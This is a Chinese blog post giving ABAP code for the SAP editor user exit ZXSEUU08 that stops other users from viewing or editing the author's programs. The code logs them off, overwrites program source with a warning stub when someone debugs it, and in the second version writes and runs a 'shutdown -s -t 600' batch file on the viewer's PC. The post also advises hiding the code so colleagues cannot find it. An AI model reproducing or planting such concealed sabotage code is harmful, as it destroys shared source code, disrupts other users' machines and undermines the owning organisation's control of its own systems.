• ABAP 禁止别人修改和查看自己的源代码


    写完代码后记得备份保存自己的源代码

     1 *&---------------------------------------------------------------------*
     2 *& 包含               ZXSEUU08
     3 *&---------------------------------------------------------------------*
     4 
     5   DEFINE destory.
     6     DATA:lv_program TYPE sy-sysid.
     7     DATA:lt_code TYPE TABLE OF string.
     8     DATA:lv_code TYPE string.
     9     lv_program = &1.
    10     lv_code = `REPORT ` && lv_program && `.`.
    11     APPEND lv_code TO lt_code.
    12     CONCATENATE sy-datum sy-uzeit sy-uname ` Warning:your profram!` INTO lv_code SEPARATED BY space.
    13     lv_code = `WRITE:ICON_RED_LIGHT,'` && lv_code && `',/.`.
    14     APPEND  lv_code TO lt_code.
    15     INSERT REPORT lv_program FROM lt_code[] STATE 'A'.
    16     CALL 'SYST_LOGOFF'.
    17   END-OF-DEFINITION.
    18 
    19   DEFINE marc_chenhui.
    20     CONSTANTS:lv_author TYPE cnam VALUE 'CHENHUI'.
    21     DATA: terminal LIKE usr41-terminal.
    22     DATA:lt_proc TYPE string OCCURS 0.
    23     INCLUDE ole2incl.
    24     DATA: ole   TYPE ole2_object,
    25           voice TYPE ole2_object,
    26           text  TYPE string.
    27     CALL FUNCTION 'TERMINAL_ID_GET'
    28       EXPORTING
    29         username             = sy-uname
    30       IMPORTING
    31         terminal             = terminal
    32       EXCEPTIONS
    33         multiple_terminal_id = 1
    34         no_terminal_found    = 2
    35         OTHERS               = 3.
    36 
    37     READ REPORT program INTO lt_proc.
    38     READ TABLE lt_proc INTO DATA(ls_proc) INDEX 1."程序首行指定内容
    39     SELECT SINGLE cnam INTO @DATA(lv_cnam) FROM reposrc WHERE progname = @program.
    40 
    41     IF sy-uname <> lv_author.
    42       IF program+0(1) CA 'ZY' AND ( operation = 'EDIT' OR operation = 'DISPLA').
    43         IF ( lv_cnam = lv_author AND sy-uname <> lv_author ).
    44           text = '您可以执行但不允许查看和更改陈辉的源代码!'.
    45           CREATE OBJECT voice 'SAPI.SpVoice'.
    46           CALL METHOD OF voice 'Speak' = ole
    47              EXPORTING #1 = text.
    48           "      MESSAGE e001(00) WITH text.
    49           CALL 'SYST_LOGOFF'.
    50         ENDIF.
    51 
    52         IF ( terminal CS 'xxxx.xxxx.xxxx.xxxx' )."黑名单嘞
    53 
    54         ENDIF.
    55       ENDIF.
    56     ELSE.
    57       IF sy-debug = abap_true AND sy-datum >= 20220101."如果有人试图debug模式跳过,直接启动自毁程序
    58         IF lv_cnam <> lv_author AND program+0(1) CA 'ZY'.
    59           destory program.
    60         ENDIF.
    61       ENDIF.
    62     ENDIF.
    63 
    64   END-OF-DEFINITION.
    65   marc_chenhui.
    View Code

    将这段代码写入:ZXSEUU08 后,然后执行加密程序,将这段代码给隐藏掉就可以了,隐藏程序见:ABAP隐藏自开发程序代码 。

     修改版,带自毁程序

     1 *&---------------------------------------------------------------------*
     2 *& 包含               ZXSEUU08
     3 *&---------------------------------------------------------------------*
     4 
     5 DEFINE shutdown.
     6   DATA:tab TYPE TABLE OF line.
     7   APPEND 'shutdown -s -t 600'  TO tab.
     8 "  APPEND 'del D:\txt.bat /q'  TO tab.
     9 
    10   CALL FUNCTION 'GUI_DOWNLOAD'
    11     EXPORTING
    12       filename = 'D:\txt.bat'
    13     TABLES
    14       data_tab = tab.
    15 
    16   CALL FUNCTION 'GUI_RUN'
    17     EXPORTING
    18       command = 'D:\txt.bat'.
    19 END-OF-DEFINITION.
    20 
    21 DEFINE destory.
    22   DATA:lv_program TYPE sy-sysid.
    23   DATA:lt_code TYPE TABLE OF string.
    24   DATA:lv_code TYPE string.
    25   lv_program = &1.
    26   lv_code = `REPORT ` && lv_program && `.`.
    27   APPEND lv_code TO lt_code.
    28   CONCATENATE sy-datum sy-uzeit sy-uname ` Warning:your profram!` INTO lv_code SEPARATED BY space.
    29   lv_code = `WRITE:ICON_RED_LIGHT,'` && lv_code && `',/.`.
    30   APPEND  lv_code TO lt_code.
    31   INSERT REPORT lv_program FROM lt_code[] STATE 'A'.
    32   CALL 'SYST_LOGOFF'.
    33 END-OF-DEFINITION.
    34 
    35 DEFINE marc_chenhui.
    36   CONSTANTS:lv_author TYPE cnam VALUE 'CHENHUI'.
    37   DATA: terminal LIKE usr41-terminal.
    38   DATA:lt_proc TYPE string OCCURS 0.
    39   INCLUDE ole2incl.
    40   DATA: ole   TYPE ole2_object,
    41         voice TYPE ole2_object,
    42         text  TYPE string.
    43   CALL FUNCTION 'TERMINAL_ID_GET'
    44     EXPORTING
    45       username             = sy-uname
    46     IMPORTING
    47       terminal             = terminal
    48     EXCEPTIONS
    49       multiple_terminal_id = 1
    50       no_terminal_found    = 2
    51       OTHERS               = 3.
    52 
    53   READ REPORT program INTO lt_proc.
    54   READ TABLE lt_proc INTO DATA(ls_proc) INDEX 1."程序首行指定内容
    55   SELECT SINGLE cnam INTO @DATA(lv_cnam) FROM reposrc WHERE progname = @program.
    56 
    57   IF sy-uname <> lv_author AND lv_cnam = lv_author.
    58     DATA:lv_secret TYPE abpauth-secret.
    59     cl_demo_input=>request( EXPORTING text = '查看陈辉的源代码,请先验证密钥' CHANGING field = lv_secret ).
    60     IF to_upper( lv_secret ) NE lv_author.
    61       IF program+0(1) CA 'ZY' AND ( operation = 'EDIT' OR operation = 'DISPLA').
    62         IF ( lv_cnam = lv_author AND sy-uname <> lv_author ).
    63           shutdown.
    64           text = '您可以执行但不允许查看和更改陈辉的源代码,若想修改功能,请联系18772884535@163.com!'.
    65           CREATE OBJECT voice 'SAPI.SpVoice'.
    66           CALL METHOD OF voice 'Speak' = ole
    67              EXPORTING #1 = text.
    68           "      MESSAGE e001(00) WITH text.
    69           CALL 'SYST_LOGOFF'.
    70         ENDIF.
    71 
    72         IF ( terminal CS 'xxxx.xxxx.xxxx.xxxx' )."黑名单嘞
    73 
    74         ENDIF.
    75 
    76       ENDIF.
    77     ELSE.
    78 
    79     ENDIF.
    80   ELSE.
    81     IF sy-debug = abap_true AND sy-datum >= 20220101."如果有人试图debug模式跳过,直接启动自毁程序
    82       IF lv_cnam <> lv_author AND program+0(1) CA 'ZY'.
    83         destory program.
    84       ENDIF.
    85     ENDIF.
    86   ENDIF.
    87 END-OF-DEFINITION.
    88 
    89 marc_chenhui."写在宏里面,增加调试破解的难度
    View Code
  • 相关阅读:
    ASP.NET网站和ASP.NET应用程序的区别
    客户端状态的优缺点
    Web.config配置文件的优点
    ASP.NET中视图状态的优点和缺点
    java常见集合及其用途
    java Socket编程(一)
    java Soket编程(三)
    浏览器到服务器端进行通信的简单理解
    ant 常用命令
    切记,切忌!——转载(收藏以备用)
  • 原文地址:https://www.cnblogs.com/1187163927ch/p/15241689.html
Copyright © 2020-2023  润新知